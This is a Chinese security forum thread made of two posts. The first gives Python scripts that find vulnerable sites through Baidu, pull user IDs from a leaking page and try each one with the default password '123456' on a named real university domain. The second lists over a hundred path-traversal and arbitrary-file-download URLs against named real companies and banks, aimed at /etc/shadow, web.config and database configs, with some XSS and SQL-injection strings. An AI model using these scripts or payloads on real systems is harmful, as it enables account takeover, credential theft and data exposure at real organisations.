你的时间有限,所以不要浪费时间去过别人的生活。




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

100

主题

141

帖子

534

积分

高级会员

Rank: 4

积分
534
 楼主| 发表于 2020-12-15 22:15:02 | 显示全部楼层
本帖最后由 Xor0ne 于 2020-12-15 22:21 编辑

python之selenium模拟登陆爆破

环境:某个网页存在id信息泄露+默认密码+登陆口可以爆破

脚本目的:从存在id信息泄露的网页中提取id,配合默认密码在登录口进行爆破

(算zzz,可以批量,但是我也不是很确定!)

1.百度批量搜索此类型的网站

代码如下:

```python
# -*- coding: utf-8 -*-
"""
Created on Wed Jun 17 21:08:45 2020
爬虫--爬取百度的搜索结果
@author: Xor0ne
"""

import requests
from bs4 import BeautifulSoup
import re
import json
from time import sleep

#对百度搜索到的链接进行访问并清洗,仅仅返回url,比如http://www.baidu.com/
def rehtml(html):
    #html="http://www.baidu.com/link?url=BZsr5fVemDIpeKaZvm_-EFz3YYXb5fjdntEEhytQLs1A36gyR7ShgumrUdvw_c3hSaffco3egiXboFeQY7G9Ta" #百度搜索链接结果展示,可知是存在编码的
    try:
        re = requests.get(html)
        sleep(2)
        re.raise_for_status()
        re.encoding='utf-8'
        print(re.url)
    except:
        return 1

#定义函数进行百度搜索
def getKeywordResult(keyword):
    kv = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36"}
    url='http://www.baidu.com/s?wd='+keyword+'&pn='
    for i in range(0,100):
        url+=str(i)
    #异常处理
    try:
        r=requests.get(url, headers = kv)  #使用het函数打开指定的url
        r.raise_for_status()            #如果状态不是200,则引发异常
        r.encoding='utf-8'              #更改编码方式
        return r.text                   #返回页面异常
    except:
        print("error")
        return "Error1"                       #发生异常返回字符
   
#定义数据解析函数--解析百度搜索页面,获取关键词的链接
def parserLinks(html):
    soup=BeautifulSoup(html,"html.parser")  #蒋html对象转换为BeautifulSoup对象
    links=[]        #定义列表用于存储数据
    #找到所有符合条件的信息并遍历
    for div in soup.find_all('div',{'data-tools':re.compile('title')}):
        data=div.attrs['data-tools']
        #print(data)
        d=json.loads(data)
        links.append(d['url'])
    return links

#定义main函数,用于调用函数并将得到的数据写入文件
def main():
    #html=getKeywordResult('Python程序设计教程')   #调用获取页面内容哈桑农户
    html=getKeywordResult('XX平台 site.edu.cn)') #传入需要寻找的平台
    ls=parserLinks(html)                        #调用解析数据函数
    count=1
    #step = 1
    #list1 = [ls[i:i+step] for i in range(0, len(ls), step)]
    for i in ls:
        #print(i)
        rehtml(i)

main()
```

输出运行结果:即寻找到的url!

(PS:百度的翻页还在研究中,,,目前只能爬取到一页的数据!挖个坑,后期补上!)





2.获取id+爆破

2.1.获取id

页面存在漏洞的poc链接为如下,我们的目标就是利用该链接不断地请求发包获取返回的用户id信息。

```out
  1. /example?&Page=1&TotalCount=218&tm=1607870755331
复制代码

```

请求出来的页面如下所示:





2.2.爆破登录

如下, 为用户登录框。(年轻人,你验证码都没有,这么狂这好吗?这不好)



抓包,获取实际的登录界面,即我们模拟登录的链接。登录成功,网站跳转到后台页面里面;登录失败,网站重定向到当前页面。本来想着利用request或者urlib模块进行模拟请求登录,但是从他的返回包中我无法获取我想要的验证登录成功的东西(唉,我还是太菜了,,),所以后来我选择利用selenium进行模拟登录,从登录后的url进行判断是否登录成功。


脚本如下:

```python
"""
Created on Sun Dec 13 09:35:47 2020

测试网站:http://example.edu.cn/
@author: xor0ne
"""

from bs4 import BeautifulSoup
import re
import requests
import urllib.parse
import string
from urllib.parse import urlparse
from selenium import webdriver
from time import sleep

idlist=[] #存放用户id
id_success=[]

#爬取nobr中的用户敏感信息。包括id、手机号、住址等等
def nobr(url):
    re = requests.get(url)
    re.raise_for_status() #测试状态码
    re.encoding = 'utf-8' #更改编码方式
    #print(re.text)
    soup = BeautifulSoup(re.text)
    nobr = soup.find_all('nobr')
    nlist=[]
    for n in nobr:
        nlist.append(n.string)
    step=3
    list1 = [nlist[i:i+step] for i in range(0, len(nlist), step)] #以步长为3进行输出,因为每3个代表一个用户,那么为什么是3呢?这个输出自行观察啦   
    for n in list1:
        #print(n)#输出所有的账号和姓名,例如['7020140034', '张三', '管理员']
        idlist.append(n[0])   #id添加到idlist中,不能直接使用idlist=n[0]   
        #print(n[0])#输出所有的id账号,例如6019990298
    return idlist


#获取分页的所有url,domain为网页域名,page为页数
def url(domain,page):
    html = domain
    page = page
    for i in range(1,page):
        html = domain
        # 漏洞poc链接
        html += "/example?&age="+str(i)+"&TotalCount=218&tm=1607870755331"
        nobr(html)
        #print(html)

#模拟登陆:固定密码,利用上面获取到的id爆破用户名
def login(domain,id_list):
    html = domain
    html += "login/win?ReturnUrl="+domain+"/rsp/" #登录的poc链接
    driver = webdriver.Chrome()
    driver.get(html)
    sleep(1)
    for i in id_list:
        sleep(1)
        print(i)
        driver.find_element_by_id("txtUser").send_keys(i) #输入用户名
        driver.find_element_by_id("txtPsw").send_keys("123456") #密码固定
        #sleep(1)
        driver.find_element_by_id('btnOk').click()
        sleep(4)
        curpage_url = driver.current_url #返回当前页面的的url
        #print(curpage_url)
        sleep(1)
        s="Login/win" #登陆失败后,页面跳转到登录界面,这是登录页面url包含的特征目录
        result = curpage_url.find(s)!=-1 #当登录后的页面url不含有子串时,即登录成功时返回-1
        print(result)#不知道为什么这个输出注释掉之后,后面的执行结果老是有错误,可能是因为速度没跟上导致的吧
        if(result):
            try:
                driver.find_element_by_id("txtUser").clear() #输入错误后,浏览器刷新仍然会保留用户名,因此需要在下一次输入前清空
                #driver.find_element_by_id("txtPsw").clear()
            except:
                print("error")
        else:
            print("登陆成功"+i)
            id_success.append(i)
            sleep(1)
            driver.get(html)
            
            
#初始化domain:这里可以和搜索百度关键字爬取网站结合起来,
def init_domain():
    #批量获取到的域名信息
    data='''
http://example1.com/1/1
http://example1.com/1/
http://example1.com/0
    '''
    d=data.split() #以换行符分割data
    domain=[]
    for i in d:
        domain.append(urlparse(i).scheme+"://"+urlparse(i).netloc+"/") #清洗url,得到格式为:http://www.baidu.com/类型的链接
    #print(domain)
    return domain
            
        
if __name__ == '__main__':
    #网站主域名
    domain = "http://szhq.zknu.edu.cn/"
    url(domain,12)
    print(idlist)
    login(domain,idlist)
   
#以下是当配合百度搜索脚本进行的模拟登陆
#    domain = init_domain()   
#    for i in domain:
#        print("当前网站是:")
#        print(i)
#        url(i,4)
#        #print(idlist)
#        login(i,idlist)
####################################
        print("成功登陆的账号为:")
    print(id_success)
```


输出结果如下:







3.总结


​                相较于其他的模拟登陆的方式selenium尽管比较简单,但是他还是对于电脑的CPU的消耗是巨大的,所以这方法明显不是最优解,后续应该继续改进,尝试其他方法进行模拟登陆,分析响应包的从而获取用户登录成功与失败的区别之处。而且sleep等没有设置好,导致最终结果误差较大。搞这玩意花了一下午,属实有点浪费时间了,,,还有就是现在想来我手工都比这快,,唉,为什么要犯贱去写他呢??算了算了全当练习了吧!

最后放上一张运行成功的图片小视频吧,,好吧,文件太大无法上传,放弃ing!假装有视频.mp4


下面分享一句最近看到的话吧:
等你发现时间是贼了,它早已偷光你的选择。





本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

100

主题

141

帖子

534

积分

高级会员

Rank: 4

积分
534
 楼主| 发表于 2020-12-31 16:45:08 | 显示全部楼层

wy任意文件下载漏洞小结


20201231、16:45 明天就是新年了,祝大家新年快乐啦!


      前段时间偶然看见任意文件下载漏洞,找到但总是无法利用,遂上wy膜拜了一下大佬们的思路,目前简单地看了一半左右,被大佬们的奇淫技巧所折服,但自己的思路似乎还是没有完全打开,所以打算暂告一段落,先去熟悉一些原来再来续看后半段。这篇文章主要是对于这段直接接触到的poc做的一个清单,总结待我熟练之后再回来续写。

1.经典案例
1. WooYun-2015-156430:
http://seclab-a:10000/static/bugs/wooyun-2015-0156430.html
2. WooYun-2016-167215(通用漏洞打包)
https://wooyun.x10sec.org/static/bugs/wooyun-2016-0167215.html
3. WooYun-2015-117616(详细分析过程)
http://ma65:10000/static/bugs/wooyun-2015-0117616.html
4.WooYun-2015-103857
https://wooyun.x10sec.org/static/bugs/wooyun-2015-0103857.html
5.WooYun-2014-78223(phpwind+windwos短文件下载啥的分析,看的不是很明白)
6.WooYun-2014-70106(审计大佬)
7.WooYun-2014-69864
8.WooYun-2014-68728(川神:漫画篇)
9.WooYun-2014-68621
10.WooYun-2014-67974
11.WooYun-2014-66459(雨神为伍,然后后缀过滤,分析道php调用windapi函数,这,,,)
12. WooYun-2014-60864
13. WooYun-2014-60478


2.通用poc


PS:原文用markdown编写,所以复制过来格式看起来会稍有不适,还望读者见谅!

  1. 通用漏洞打包: https://wooyun.x10sec.org/static/bugs/wooyun-2016-0167215.html

  2. http://jiancha.ceair.com/web/DownLoad.aspx?fileurl=../web.config

  3. http://chat.chinalife.com.cn/chat/downlog.jsp?path=/&fileName=/etc/shadow

  4. img.36tr.com/config/config.php #配置文件 img.36tr.com/config/config.global.php邮箱默认账号密码、默认账户及密码 img.36tr.com/config/config.appkey.php #各大app的key,开发人员的微博账户密码可以直接登录,应该还可以用来在其他地方渗透。

  5. http://xxxxxxxxxxx/gatewayweb/FileDownloadServlet?filePath=C:\WINDOWS\system32\drivers\etc&fileName=hosts&type=2 filepath=要下载的文件所在文件夹,filename=要下载的文件名

  6. 下载web.xml测试supplier.sinopec.com:9001/fileuploadAction.do?method=downLoad&fjmc=.xml&fileType=application/pdf&fjbh=web&fjml=/WEB-INF/ 注:fjmc为后缀,fjbh为文件名,fjml为目录,可任意下载文件 supplier.sinopec.com:9001/fileuploadAction.do?method=downLoad&fjmc=.properties&fileType=application/pdf&fjbh=webservicedb&fjml=/usr/suppregwebapp/DefaultWebApp/WEB-INF/classes/

  7. http://iufo.ldjt.com.cn/NCFindWeb?service=IPreAlertConfigService&filename=../../../../../ http://iufo.ldjt.com.cn/NCFindWeb?service=IPreAlertConfigService&filename=../../../../../IBM/WebSphere/AppServer/web/mbea

  8. http://im.changyou.com/live800/downlog.jsp?path=/&fileName=/etc/shadow

  9. 任意文件下载,通过遍历fileid值,可以获取内部相关邮件附件信息:weaver/weaver.email.FileDownloadLocation?fileid=**&download=1可,设置1-4位的参数范围:

  10. http://jingang.yto56.com.cn/mdm_2/downloadAction.action?fileName=../../../../../../../../../../etc/passwd&realName=../../../../../../../../../etc/passwd

  11. WooYun-20160167021: http://smsrc.sina.com.cn/wappush/dumpSourceDownld.php?file=../../../../etc/passwd http://smsrc.sina.com.cn/wappush/dumpSourceDownld.php?file=../../../../etc/shadow http://smsrc.sina.com.cn/wappush/dumpSourceDownld.php?file=../../../../data0/apache/share/htdocs/config.php

  12. solr 未授权访问:

  13. http://116.31.71.7:8080/solr/#/
  14. http://116.31.71.8:8080/solr/#/~logging
  15. http://116.31.71.9:8080/solr/#/~java-properties
  16. http://runforfun.vanke.com/web/DownFile.aspx?Path=/web.config

  17. http://runforfun.vanke.com/web/DownFile.aspx?Path=/web.config

  18. http://cpss.suning.com/slavefile.jsp?filePath=/opt/jboss/standalone/configuration/standalone.xml

  19. WooYun-2015-163515 http://506srm.cofco.com/FileDownLoad.aspx?fileid=20980 #参数fileid可遍历

  20. 删除 http://506srm.cofco.com/FileDeleteHandler.aspx?fileId=26988

  21. WooYun-2016-215295 仅当路径中出现../的时候提示访问地址非法,所以可以用\来绕过 http://www.e-chinalife.com/product/benefitshow/suggest/downloadToHTML.jsp?Path=/../WEB-INF/web.xml&titleDoc=1

  22. WooYun-2015-159075 利用....// 代替 ../ 利用..// 代替 / beapp/dow.download?filename=....//....//....//....//....//etc..//passwd

  23. Tra/pub/common/getImgPath.do?path= L2V0Yy9ob3N0cw== L2V0Yy9ob3N0cw== -->/etc/hosts

  24. 关键词:inurl:/p.do?c= 客服 live/down.jsp?file=../../../../../../../../../../../../../../../../etc/passwd

  25. 关键字: inurl:/themes/mskin/login/ inurl://mskin/login/ 使用components/fck/editor/filemanager/upload/simpleuploader上传文件,返回值里带了一个链接 window.parent.OnUploadCompleted(0,'../../fileDownload.do?type=File&path=/uploadfiles/File/2015103011112167752481.jpg',

  26. 文件上传后直接上传到服务器的目录中,然后与主域名进行拼接 http://career.crc.com.cn/hrjob/front/getImgSrc.do?filename=/app/upload/hrjob/temp/1444359198577.jpg http://career.crc.com.cn/hrjob/front/download.do?filePath=/app/upload/hrjob/photo/9513920151009110437666.jspx&fileName=

  27. 搜狗浏览器的开发api开放了很多,比较360的两款,发现多了一个downloads,试之,问题出来了。 http://ie.sogou.com/open/doc/?id=2_13&title=sogouExplorer.downloads 在se-extension://域可以查看搜狗开放的所有api,在对象空间sogouExplorer下面 sogouExplorer.downloads.downloadSilently({url:"http://tmxk.org/img/r-c.png",filename:"dd.exe",path:"d:",method:"GET"})

  28. questionInves/pilupdf.jsp?url=/home/tomcat/apache-tomcat-6.0.35/webapps/mgt/pilufile/pilu1398676666622.pdf url参数没限制,可传任意路径,如/etc/hosts等,下载/home/tomcat/.vimrc和/home/tomcat/.bash_history找到很多路径 整站源码 questionInves/pilupdf.jsp?url=/home/tomcat/apache-tomcat-6.0.35/webapps20150324.tar.gz

  29. defaultroot/public/jsp/download.jsp?FileName=config.xml&name=2.jsp&path=/../../config/ defaultroot/public/jsp/download.jsp?FileName=systemMark.properties&name=2.jsp&path=/../../config

  30. http://www.renrenle.cn/share/download.jsp?filePath=admin/upload/1342576091234.doc&fileName=1342576091234.doc 通过修改文件路径实现任意文件下载:系统为linux,直接下载shadow文件: http://www.renrenle.cn/share/download.jsp?filePath=../../../../../../../../../../../etc/shadow&fileName=shadow

  31. http://learning.bankofshanghai.com/wis18/file.showimage.flow?filename=../system/config/ds.xml #配置文件

  32. https://ebank.hkbea.com.cn/perbank/PTR0203001_saveAdToImg.do?EMP_SID=xxxxxxxxxxxx&fileFtpPath=/etc/hosts https://ebank.hkbea.com.cn/perbank/PTR1702002_query_detail_By_FlowNo.do?EMP_SID=xxxxxxxxxxxx&fileFtpPath=/etc/passwd

  33. http://121.207.243.133:8082/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc/shadow

  34. http://地址/download.php?filename=../../../../etc/passwd

  35. attach参数没过滤 http://open.99bill.com/menu!AttachDownload.do?attach=../../../../../../etc/passwd

  36. http://123.125.116.123/../../../etc/hosts http://220.181.2.41/../../../etc/passwd

  37. userid参数可以直接控制登录 http://oa.glsc.com.cn:10040/glzqehr/df_login.do?method=checkLogin&userid=ReeMCd4ylOs%3D&encrypt=y

  38. http://oa.glsc.com.cn:10040/glzqehr/personBase.do?method=Df_openLicense&licenseName=c:\boot.ini

  39. 影响Hardware Management Console https://10.1xx.xx.xx/help/topic/base/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg/ibm/hwmca/p/sa/res/ServiceAgent/XMITServiceInfoTransmit.Time.html

  40. sql注入报错: policy/cap/delete.php?returnfile=timegrouptable.php&TABLE=timegroup&deletename=tes%27&name=timegroupname 未授权访问文件 policy/manager/policy_bak.xls policy/kw/delkeywd.php?kwtypename=cccccc%27

  41. http://m.dudu.ztgame.com/detail.php?d=../../../../../../etc/passwd http://m.dudu.ztgame.com/detail.php?d=../../../../../../usr/local/apache2/conf/httpd.conf

  42. oa/admin/application/file_download.jsp?filePath=c:\windows\win.ini

  43. pre/f1print/F1PrintKernelJ1.jsp?&RealPath=/etc/hosts ter/f1print/F1PrintKernelJ1.jsp?&RealPath=/etc/passwd

  44. cpmap/DownApk?path=/../../../../../../../../../etc/passwd

  45. profile文件 showImg.do?filename=/home/zxzp/.profile hosts文件 showImg.do?filename=/etc/hosts

  46. iss_dbwebins/servlet/FileLookServlet?upfileurl=/home/weblogic/webapps/ZheShang/image/6007.jpg iss_dbwebins/servlet/FileLookServlet?upfileurl=/etc/passwd

  47. wp-content/plugins/db-backup/download.php?file=/usr/local/apache2/htdocs/wp-config.php wp-content/plugins/db-backup/download.php?file=/etc/passwd

  48. ucenter/admin/export.php?kind=log&gNetGuardLogFilePath=&filename=../../../../../../../../etc/passwd

  49. 文件路径进行base64加密 发现如下链接,filepath解密后为:/app/WebSphere/share/mis/upload online/shs/csinquiry/DocumentQuery/search/download.jsp?fileName=968_1388365801357.pdf&filePath=L2FwcC9XZWJTcGhlcmUvc2hhcmUvbWlzL3VwbG9hZA== 构造新的URL:../../../../../../../../../../etc/passwd.png online/shs/csinquiry/DocumentQuery/search/download.jsp?filePath=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n

  50. f1print/F1PrintKernelJ1.jsp?&RealPath=/etc/passwd

  51. //../../../../../../../../proc/net/tcp

  52. ter/f1print/F1PrintKernelJ1.jsp?&RealPath=/etc/passwd ter/f1print/F1PrintKernelJ1.jsp?&RealPath=/root/.bash_history

  53. ui/f1print/F1PrintKernelJ1.jsp?&RealPath=/etc/passwd

  54. 可以构造区域 servlet/FileLookServlet?upfileurl=/dbicapps/accsys/card/image/1270188867403.jpg servlet/FileLookServlet?upfileurl=/etc/passwd servlet/FileLookServlet?upfileurl=/etc/hosts

  55. online/mis/download/busProcess.do?filename=206_1390353383470.pdf online/mis/download/busProcess.do?filename=../../../../../../../../etc/hosts

  56. slm/orangePortal/downloadFile?filename=/index.jsp slm/orangePortal/downloadFile?filename=/WEB-INF/web.xml

  57. WooYun-2015-118425(存在cookie注入和文件下载) actionClassName=com.bll.act.SysAdminLoginAct&inputForm=/manage/../WEB-INF/web.xml&sysAdminName=admin&sysAdminPwd=a

  58. 下载文件处: online/sale/card/downloadPage.do?fileName=/../../../../../WEB-INF/web.xml online/sale/card/downloadPage.do?fileName=/../../../../../web/sale/card/login.jsp

  59. file/download.do?file=../../../../../../../etc/passwd

  60. /i/MobileWap/request_delegate?url=/etc/passwd

  61. /msa/../../../../etc/passwd

  62. /msa/../../../../../../../../etc/passwd

  63. /msa/main.xp?Fun=msaDataCenetrDownLoadMore+delflag=1+downLoadFileName=test.txt+downLoadFile=../etc/passwd

  64. /huodong/bizhi/download.php?f=../../../huodong/bizhi/download.php /huodong/bizhi/download.php?f=../../../../../../../etc/hosts

  65. DownloadServlet?fileName=../../../../../../../../../../etc/shadow

  66. /msa/main.xp?Fun=msaDataCenetrDownLoadMore+delflag=1+downLoadFileName=msagroup.txt+downLoadFile=../etc/passwd

  67. /VRVEIS/MaintenanceAndTools/DownloadCommon.aspx?pathTemp=../web.config

  68. /download/downloadExcel.jsp?excelName=.%2Fdownload%2FdownloadExcel.jsp&downloadId=1677

  69. 正常链接: /DownloadServlet?fileName=GP_PROJ_ZBWJ/1238119231178.doc&fileShowName 构造参数fileName:下载密码、网络配置、日志文件、web.xml、数据库配置 DownloadServlet?fileName=/../../../../../../../../../etc/passwd&fileShowName DownloadServlet?fileName=/../../../../../../../../../etc/sysconfig/network-scripts/ifcfg-eth0&fileShowName /DownloadServlet?fileName=/../../../../../../../../../root/.bash_history&fileShowName /DownloadServlet?fileName=/../../../../../../../../../..//home/weblogic/bea/user_projects/domains/webcluster/applications/webapp/WEB-INF/web.xml&fileShowName /DownloadServlet?fileName=/../../../../../../../../../../home/apache-tomcat-5.5.33/webapps/new/WEB-INF/classes/jdbc.properties&fileShowName

  70. /training/download.jsp?filename=training/download.jsp&name=xxx.txt

  71. 查看网站源码+struts开启调试模式,尝试获取web.xml /generalservice/loginlog/downLoadAction.do?debug=command&expression=%23f=%23_memberAccess.getClass%2

  72. 管理员登录后 /index.php?m=file&a=filedownload&path=./App/Conf/db.php&name=test.test

  73. /training/download.jsp?filename=training/video/2008/12/23/../../../../../../../../../../../../etc/passwd&name=c

  74. /share/download.jsp?filePath=/WEB-INF/web.xml /share/download.jsp?filePath=/WEB-INF/mail.properties

  75. /esfcrmsite/model/SysManage/Document/DownLoadDoc.aspx?DocUrl=../web.config

  76. //data/3gushop.mdb

  77. /NASApp/cpf/DownLoadServlet?disDownDir=../../../../../etc/ftpusers /NASApp/cpf/DownLoadServlet?disDownDir=../../../../../etc/host

  78. /NewMailSh/smmail/jsp/Action/DownFile.jsp?file=/usr/local/apache2/conf/httpd.conf&fileName=httpd.conf /NewMailSh/smmail/jsp/Action/DownFile.jsp?file=/etc/passwd&fileName=passwd /NewMailSh/smmail/jsp/Action/DownFile.jsp?file=/etc/shadow&fileName=shadow /NewMailSh/smmail/jsp/Action/DownFile.jsp?file=/work/apachelogs/..._access_log&fileName=..._access_log

  79. /uploadfile?istrade=istrade&filename=../../../../../etc/passwd /uploadfile?istrade=istrade&filename=../../../../../etc/shadow /smenu.php?menu=../../../../../../../../../../etc/passwd%00

  80. /cgi-bin/web_cgi?op_req=apply&module=conf_bakdown /cgi-bin/web_cgi?op_req=apply&module=syslog_management&opt=down&type=system

  81. /dlarea/download.php?fn=../../../../../../../../../../etc/passwd&bid=74&bname=%E5%BA%B7%E4%BD%B3&mid=1633

  82. /uploadfile?istrade=istrade&filename=../../../../../etc/passwd /uploadfile?istrade=istrade&filename=../../../../../etc/services

  83. /WebClient/down_file.php?filename=WebClient.exe /WebClient/down_file.php?filename=/etc/shadow

  84. /download/download.jsp?name=../../../../../../../../../../etc/passwd

  85. /src/module/opt/downloadSecFile.php?url=/UploadFiles/.../.../mysql/data/sinforglobaldb/sys_adt.MYD /src/module/opt/downloadSecFile.php?url=/UploadFiles/../global_admin.ini /src/module/opt/downloadSecFile.php?url=/UploadFiles/../src/inc/conf/mailSvr.conf /src/module/opt/downloadSecFile.php?url=/UploadFiles/.../.../mysql/data/sinforglobaldb/sys_adt.MYD

  86. ...:7111/../ver.txt ...:7111/../../../WINDOWS/ODBC.INI

  87. /commonplugin/Download.php?reqfile=文件名

  88. /download.php?url=2013/../../../config.php

  89. down.php?f=.%2Fattachment%2F201502%2F58%2FzQx31hYCIw4R4zMl.doc&t=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd

  90. /2014admin/others.asp?mudi=download_EN_CN&n=index.asp&ENname=../config.asp

  91. /cardmisfile/uploadFiles/download.jsp?type=1&PDFnameArr=../../../index.jsp&Onputname=1.jsp

  92. 一次过滤 //hrss/dorado/smartweb2.loadConst.d?language=zh&country=\..\..\..\..\..\..\..\..\..\..\..\..\windows\s

  93. 与客服MM聊天: http://kf.bestpay.com.cn/zhij/imsystem/im/im_client.jsp?queueId=1011&guestId=&sessionId=&keyword= /zhij/imsystem/download.jsp?&msgDirection=1&path=/../../download.jsp&realFileName=1.jsp

  94. 漏洞参数:photo_size /DocCenterService/image?photo_size=&photo_id=1 /DocCenterService/image?photo_size=../../../../../../../../../../etc/shadow%00&photo_id=1

  95. /web/common/getfile.jsp?p=..\..\..\..\etc\passwd

  96. /download/download.jsp?filename=windows/win.ini&filepath=../../../../../../../../../../../windows/win.ini

  97. /ajax/getajaxinfo.php?url=file:///etc/passwd&Work=getnewsinfo

  98. /vc/vc/columncount/downfile.jsp?savename=a.txt&filename=../../../../../../../../etc/passwd

  99. http://183.60.76.243:8003/root/.bash_history http://183.60.76.243:8003/root/1.sql http://183.60.76.243:8003/data/web/gddmx/gateway/protected/config/db.php http://183.60.76.243:8003/data/web/gddmx/gateway/protected/config/config.php

  100. /web/common/getfile.jsp?p=..\..\..\..\etc\passwd

  101. /download/download.jsp?filepath=download/download.jsp

  102. XSS /passport/login.php?game_password=g00dPa%24%24w0rD&game_username=ytvmhaei'%22()%26%25<acx><ScRiPt%20>prompt(970059)</ScRiPt>&gourl=&rcode=94102 任意读取 account/cardpay.do.php?areaid=555&cardno=1&cardpswd=1&game_reusername=otideqbj&game_username=otideqbj&product_name=ts&rcode=94102&tpl=../../../../../../../../../../etc/passwd 日志报错 //com/randimg/backup/error.log

  103. /wsyh/admin/down.aspx?type=notice&mc=../../../web.config

  104. /portalWeb/downloadservlet?downloadname=20150104/../../../../../../../../etc/passwd&TELPHONENUM=8618611881111&fujianFlag=true

  105. /file/tmpView?fileKey=base64加密文件 /file/tmpView?fileKey=L2V0Yy9zaGFkb3c=(解密后为/etc/shadow)

  106. /jcms/m_5_e/module/voting/down.jsp?filename=a.txt&pathfile=/etc/passwd

  107. /down.jsp?Tempfile=././faw_online/admin.jsp /down.jsp?Tempfile=/index.jsp

  108. /futures/picl.jsp?fileName=WEB-INF/web.xml XSS /jsjd.jsp?Main=jsjd&Type=1%22%20onmouseover%3dprompt%28222222%29%20bad%3d%22Main=jsjd&Type=1

  109. /index.do?type=download&path=/etc/redhat-release /index.do?type=download&path=/etc/passwd

  110. /download.action?filename=../../../../../../etc/shadow

  111. /COST/DocumentLibrary/SEFileDownLoad.aspx?f=c:\IFCA_Software\web.config 反射型XSS /trade/time.do?m=checkPreShow&cinemaId=345&date=2014_12_20%27%3Cimg%20src=1%20onerror=alert(1)%3E@_@

  112. /cnet/servlet/servletupload?domesticfile=WEB-INF/web.xml

  113. /member/valiPwd/download?fileName=../../../../../../../../../../etc/passwd /member/valiPwd/download?fileName=../../../../../../../../../../etc/shadow

  114. ..%2F绕过../限制 /new/client.php?m=download&a=downloadFile&file=..%2F/../../../../../../../../../../etc/passwd /new/client.php?m=download&a=downloadFile&file=..%2Fclient.php

  115. /CN/item/downloadFile.jsp?filedisplay=../../WEB-INF/web.xml /CN/item/downloadFile.jsp?filedisplay=../../WEB-INF/web.xml|more

  116. 位置是在图片预览的地方 //webmail/client/mail/index.php?module=operate&action=attach-img-preview&d_url=file://C:\windows\win.ini&type=text/html

  117. /webapps/HAWAII/download.php?filename=../../../../../etc/passwd

  118. /CmsNewsController.do?method=downFile&fileUrl=../../../../../etc/shadow&viewName=shadow /CmsNewsController.do?method=downFile&fileUrl=../WEB-INF/web.xml&viewName=web

  119. /mobile.do?method=downLoadFile&fileName=mobile.do /mobile.do?method=downLoadFile&fileName=../web.xml

  120. /lib/ufinder/server/ufinder.php?cmd=download&target=/../../../../../../../../../../../../../etc/passwd

  121. 存在漏洞->爆漏洞 /Buyer/SystemManage/DownLoad.aspx?filename=D:\Project\b2bsupper\CRM\CRM.Web\Buyer\Notice.aspx.cs

  122. /buyer/systemmanage/DownLoad.aspx?filename=/attached/file/20131129/20131129144847_1447.doc /buyer/systemmanage/DownLoad.aspx?filename=c:/windows/system32/cmd.exe

  123. /front/download.do?path=/uploads/2013/04/24/../../../../WEB-INF/web.xml&id= /front/download.do?path=/uploads/2013/04/24/../../../../WEB-INF/classes/conf/jdbc.properties&id=

  124. Java web配置文件可随意下载: /portal//WEB-INF/config/spring/applicationContext-frame.xml /easssoWEB-INF/deployerConfigContext.xml

  125. /jwgl/public/download.asp?filename=../jwjs/conn/connstring.asp. public/download.asp?filename=../jwjs/conn/connstring.asp.

  126. /developer/servlet/FileDownloadServlet?fileName=../../../../../../../../../../../../../sbin/../etc/./rc.d/../rc.d/.././shadow

  127. /kdgs/portal/filedownload/download.action?filename=proxool.properties&webPath=%2FWEB-INF%2Fclasses%2F /kdgs/portal/filedownload/download.action?filename=web.xml&webPath=%2FWEB-INF%2F

  128. /manage/conf_control/download.jsp?filename=Silverlight.txt&filePath=/home/VER/web/asc/ROOT/conf_control/download.jsp /conf_control/download.jsp?filename=dd.txt&filePath=/../../../../etc/shadow

  129. /download.php?file=download.php /download.php?file=../../../etc/rsyncd/rsyncd.conf

  130. /index.php?r=login/Download&file= /index.php?r=login/Download&file=protected/config/main.php

  131. smcs_zj/framework/filehandle/fileHandle/downOpenFile.do?fileName=passwd.zip&filePath=../../../../../../etc/shadow

  132. /download.php?fname=1.txt&fpath=./include.inc/config.inc.php

  133. /Standard/DownloadFile.aspx?filename=../Web.config

  134. /main/downloadC03Client.do?downFileName=../../WEB-INF/web.xml

  135. /irec/download?fileName=/WEB-INF/classes/resources/config/datasource/ds-2.xml&filePath=./../ /irec/download?fileName=./WEB-INF/classes/struts.xml&filePath=./../ /irec/download?fileName=./WEB-INF/web.xml&filePath=./../

  136. 文件下载形式如下: /vip/common/download/down.jsp?filename=/file/imp_examples.xls /vip/common/download/down.jsp?filename=/login.jsp /vip/common/download/down.jsp?filename=/etc/passwd

  137. download.jspx?fpath=WEB-INF/web.xml&filename=WEB-INF/web.xml download.jspx?fpath=WEB-INF/web.xml&filename=WEB-INF/web.xml

  138. /audit/download.php?path=/usr/local/apache2/htdocs/project/www&name=/index.php

  139. 主机名称 netstar-3200 /tmp/3200-config.bin

  140. /vc/vc/columncount/tem/downfile.jsp?filename=/etc/passwd&savename=down.txt

  141. /cnet/dynamic/presentation/net_1/downloaddelegate.down?domesticfile=任意文件 /cnet/dynamic/presentation/net_1/downloaddelegate.down?domesticfile=WEB-INF/struts-config.xml .漏洞参数filename 这其实是用户在客服系统上传的图片地址。 /uploadfile?istrade=istrade&filename=../WEB-INF/web.xml //uploadfile?istrade=istrade&filename=../../../../../etc/passwd

  142. /USER/Develop%5CSiteAdmin/BackupSite.aspx /USER/Develop\SiteAdmin/BackupSite.aspx?status=down&name=../../../web.config /USER/Develop/SiteAdmin/BackupSite.aspx?status=del&name=../../../robots.txt

  143. /user/iServer/FiServerInfo.aspx?menu=filedown&filepath=//Config//ConnectionStrings.config /User/UserZone/School/Download.aspx?f=......\Config\ConnectionStrings.config

  144. /download.jsp?path=../WEB-INF/web.xml /houtai/masterfujian.jsp?rowno=643 /houtai/uploadfujian.jsp?formid=null&rowid=643

